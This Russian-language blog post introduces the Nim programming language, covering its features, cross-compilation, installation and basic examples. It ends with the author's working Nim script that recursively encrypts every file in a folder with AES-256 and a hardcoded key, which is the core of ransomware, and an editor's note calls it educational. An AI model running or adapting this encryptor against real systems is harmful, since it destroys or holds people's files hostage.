Введение в NIM: Python-подобный язык программирования, используемый разработчиками вредоносных программ-вымогателей

Введение в NIM: Python-подобный язык программирования, используемый разработчиками вредоносных программ-вымогателей

28 января 2023 г.

Что, если я скажу вам, что есть язык, похожий на Python по синтаксису, но ближе к C++, а иногда даже лучше по скорости, и это лишь некоторые из его прелестей, и это только верхушка айсберга

Вы, наверное, сказали бы, что я злюсь, но подождите, нас ждет угощение, просто потерпите меня.

Итак, что такое Ним?

Nim первая версия 0.8.2 была запущена в 2008 году. он был разработан Андреасом Румпфом. Согласно официальной документации, "Nim – это статически типизированный скомпилированный язык системного программирования. Он сочетает в себе успешные концепции зрелых языков, таких как Python, Ada и Modula".

Несколько замечательных функций, которые он предлагает.

  • Синтаксис похож на Python, который помогает многим программистам, а его переключение, безусловно, помогло мне, мы увидим примеры кода, которые помогут вам понять его визуально.
  • Вы можете компилировать свои программы для большинства систем, таких как Windows, iOS, Linux, Android, Nintendo Switch, встраиваемых систем, что в основном означает, что перекрестная компиляция возможна для многих платформ. Прочтите это, чтобы узнать больше Руководство пользователя компилятора Nim
  • Вдохновленное C++ и Rust, управление памятью в Nim является детерминированным и настраиваемым с помощью деструкторов и семантики перемещения. Он идеально подходит для встроенных систем жесткого реального времени.
  • Nim можно использовать для всех внутренних и внешних требований, поскольку его можно скомпилировать в C, C++ или JavaScript.

Пример кросс-компиляции из Windows

#To cross compile, use for example:
#The code will compile and give e executable for linux

nim c --cpu:i386 --os:linux --compileOnly --genScript myproject.nim
  • Мы можем просто добавить код C или C++ в тот же файл Nim, что поможет нам легко использовать Win-Api.
  • Его скорость сравнима с C++, что делает его идеальным для многих задач, которые просто невозможно выполнить с помощью Python из-за его скорости.

Я думаю, у нас достаточно причин знать, что это то, на что стоит обратить внимание.

Установка NIM

https://nim-lang.org/install_windows.html?embedable=true

после того, как вы установили Nim, вы сможете без проблем запустить nim --version.

Ты первая линия Ним

# This is a comment

echo "Hello World"

Чтобы создать исполняемый файл nim, скомпилируйте main.nim

Мы можем запустить файл main.nim из cmd или использовать nim compile --run main.nim, это создаст и запустит исполняемый файл.

Введите данные из командной строки.

var name: string = readLine(stdin)
echo "Hi, ", name, "!"

#Input Harry

#Output
Hi Harry

Несколько сравнений, чтобы увидеть, насколько Ним классный.

Источник: https://github.com/lh3/biofast

Источник: https://github.com/lh3/biofast

Мы видим, что иногда Nim работает даже быстрее, чем C++.

Прежде чем закончить, я хотел бы показать одно из моих собственных творений, которое привлекло меня к Ниму. Внимание! Используйте это на свой страх и риск.

:::информация Примечание редактора. Этот код предназначен только для образовательных целей и не должен запускаться на устройствах/серверах, которые явно не принадлежат ВАМ. Запуск этого на компьютере друга или третьего лица зашифрует все их файлы и откроет исполнителя кода (независимо от того, сделано ли это явно или непреднамеренно, вы можете понести ответственность за ущерб и/или тюремное заключение в определенных юрисдикциях.

:::

#This will encrypt each and every file in that folder given in the path variable.

import os
import strformat
import base64
import nimcrypto

func toByteSeq*(str: string): seq[byte] {.inline.} =
    @(str.toOpenArrayByte(0, str.high))

let
    password: string = "myKey" # Our secret key
    path: string = "path_of_folder_we_want_to_encrypt"

for file in walkDirRec path:
   let fileSplit = splitFile(file)
   if fileSplit.ext != ".encrypted":
    echo fmt"[*] Encrypting: {file}"
    var
        inFileContents: string = readFile(file)
        plaintext: seq[byte] = toByteSeq(inFileContents) 
        ectx: CTR[aes256]
        key: array[aes256.sizeKey, byte]
        iv: array[aes256.sizeBlock, byte]
        encrypted: seq[byte] = newSeq[byte](len(plaintext))
    iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 133, 149]
    var expandedKey = sha256.digest(password)
    copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))

    echo len(inFileContents)

    ectx.init(key, iv)
    ectx.encrypt(plaintext, encrypted)
    ectx.clear()

    let encodedCrypted = encode(encrypted)
    let finalFile = file & ".encrypted" 
    moveFile(file, finalFile)
    writeFile(finalFile, encodedCrypted)

В заключение я хотел бы сказать, что Nim — это потрясающий язык с большим потенциалом, который, несомненно, будет широко использоваться. Я хотел бы сказать, что все, кому понравился этот блог, должны помочь сообществу расти и распространять информацию. Неважно, насколько хорош этот язык, если его не использовать, он обязательно умрет. Сделать Нима известным

:::информация Также опубликовано здесь.

:::


Оригинал
PREVIOUS ARTICLE
NEXT ARTICLE